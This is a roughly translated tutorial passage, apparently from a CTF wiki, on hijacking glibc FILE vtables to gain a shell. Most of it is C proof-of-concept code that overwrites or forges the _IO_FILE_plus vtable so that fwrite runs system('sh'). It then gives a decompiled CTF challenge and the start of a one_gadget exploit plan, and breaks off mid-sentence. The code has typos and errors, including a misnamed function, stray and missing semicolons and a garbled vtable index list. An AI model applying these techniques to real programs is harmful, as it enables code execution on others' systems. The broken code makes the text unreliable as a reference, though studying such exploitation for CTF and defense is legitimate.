#假造vtable hijack program flow

Introduction

Earlier we introduced the file stream feature (FILE) in Linux. We can see that some common IO operation functions in Linux need to be processed through the FILE structure. In particular, there is a vtable in the _IO_FILE_plus structure, and some functions will fetch the pointers in the vtable for calling.

Therefore, the central idea of the fake vtable hijacking process is to implement the vtable of _IO_FILE_plus by pointing the vtable to the memory we control and placing the function pointer in it.

Therefore, vtable hijacking is divided into two types. One is to directly rewrite the function pointer in the vtable, which can be realized by writing at any address. The other is to overwrite the vtable pointer to the memory we control, and then arrange the function pointer in it.

Practice

Here is a demonstration of the pointer in the vtable, first need to know where _IO_FILE_plus is located, in the case of fopen is located in the heap memory, for stdin\stdout\stderr is located in libc.so.


int main(void)

{

    FILE *fp;

    long long *vtable_ptr;

    fp=fopen("123.txt","rw");

    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    

    vtable_ptr[7]=0x41414141 //xsputn



    printf("call 0x41414141");

}

The address of the vtable is obtained according to the offset of the vtable at _IO_FILE_plus, and the offset is 0xd8 under the 64-bit system. After that, you need to find out which function in the vtable is called by the IO function to be hijacked. About the IO function call vtable has been given in the FILE structure introduction section, know that printf will call xsputn in the vtable, and xsputn is the eighth item in the vtable can be written to this pointer for hijacking.

And when the vtable function such as xsputn is called, the first parameter passed in is actually the corresponding _IO_FILE_plus address. For example, this example calls printf, and the first parameter passed to the vtable is the address of IO_2_1_stdout.

Use this to pass arguments to the hijacked vtable function, such as


#define system_ptr 0x7ffff7a52390;


int main(void)

{

    FILE *fp;

    long long *vtable_ptr;

    fp=fopen("123.txt","rw");

    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    

    memcopy(fp,"sh",3);

    

vtable_ptr [7] = system_ptr // xsputn
    



    fwrite("hi",2,1,fp);

}

However, under the current libc2.23 version, the vtable located in the libc data segment cannot be written. However, it can still be exploited by forging vtables in controllable memory.


#define system_ptr 0x7ffff7a52390;


int main(void)

{

    FILE *fp;

    long long *vtable_addr,*fake_vtable;

    

    fp=fopen("123.txt","rw");

    fake_vtable=malloc(0x40);

    

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    

    vtable_addr[0]=(long long)fake_vtable;

    

    memcpy(fp,"sh",3);

    

    fake_vtable[7]=system_ptr; //xsputn

    

    fwrite("hi",2,1,fp);

}

We first allocate a memory to store the fake vtable, then modify the _IO_FILE_plus vtable pointer to point to this memory. Because the pointer in the vtable we are placing the address of the system function, we need to pass the parameter "/bin/sh" or "sh".

Because the function in the vtable will call the corresponding _IO_FILE_plus pointer as the first parameter, so here we write "sh" to the _IO_FILE_plus header. Subsequent calls to fwrite will execute system("sh") via our fake vtable.

Similarly, if _IO_FILE created by fopen and other functions does not exist in the program, you can also select _IO_FILE located in libc.so such as stdin\stdout\stderr. These streams will be used in functions such as printf\scanf. Prior to libc2.23, these vtables were writable and there were no other tests.


print &amp; _IO_2_1_stdin_
$ 2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 &lt;_IO_2_1_stdin_&gt;

Basic Information


void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

  signed int i; // [rsp+4h] [rbp-Ch]

  void *buf; // [rsp+8h] [rbp-8h]



  sleep(0);

  printf("here is a gift %p, good luck ;)\n", &sleep);

  fflush(_bss_start);

  close(1);

  close(2);

  for ( i = 0; i <= 4; ++i )

  {

    read(0, &buf, 8uLL);

    read(0, buf, 1uLL);

  }

  exit(1337);

}

Analyze the problem, using the point is very clear in the main function, and:

In addition to canary protection
libc base address and libc version
Ability to write 5 bytes anywhere

Ideas:

Utilizing the program to call exit, it will traverse _IO_list_all and call the _setbuf function in vatable under _IO_2_1_stdout_.
You can modify two bytes to forge a fake_vtable near the current vtable and then use 3 bytes to modify the contents of _setbuf in fake_vtable to one_gadget.

We first debug to find the offset of _IO_2_1_stdout_ and libc. The stupid thing here is that I originally searched for related symbols in gdb, but in fact the address found is the location of the symbol _IO_2_1_stdout_, not its The location on the libc data segment, we use the ida or libcsearch tool to find the vtables offset 0x3C56F8 as follows:

Let's look at the contents of the virtual table:

0x7f41d9c027d8 <buffer>:	0x0000000000000000	0x0000000000000000

Then at this time look for a fake_vtable near the virtual table, the following conditions must be met:

fake_vtable_addr + 0x58 = libc_base + off_set_3
where 0x58 is checked according to the table below is the offset of set_buf in the virtual table


void * funcs[] = {

1 NULL, // "extra word"

2 NULL, // DUMMY

3 exit, // finish

4 NULL, // overflow

5 NULL, // underflow

6 NULL, // uflow

7 NULL, // pbackfail

8 NULL, // xsputn #printf

9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos

12 NULL, // setbuf
13 NULL, // sync

16 NULL, // write

17 NULL, // seek

18 pwn, // close

19 NULL, // stat

20 NULL, // showmanyc

21 NULL, // imbue

};

I chose the following address as fake_vtable here:
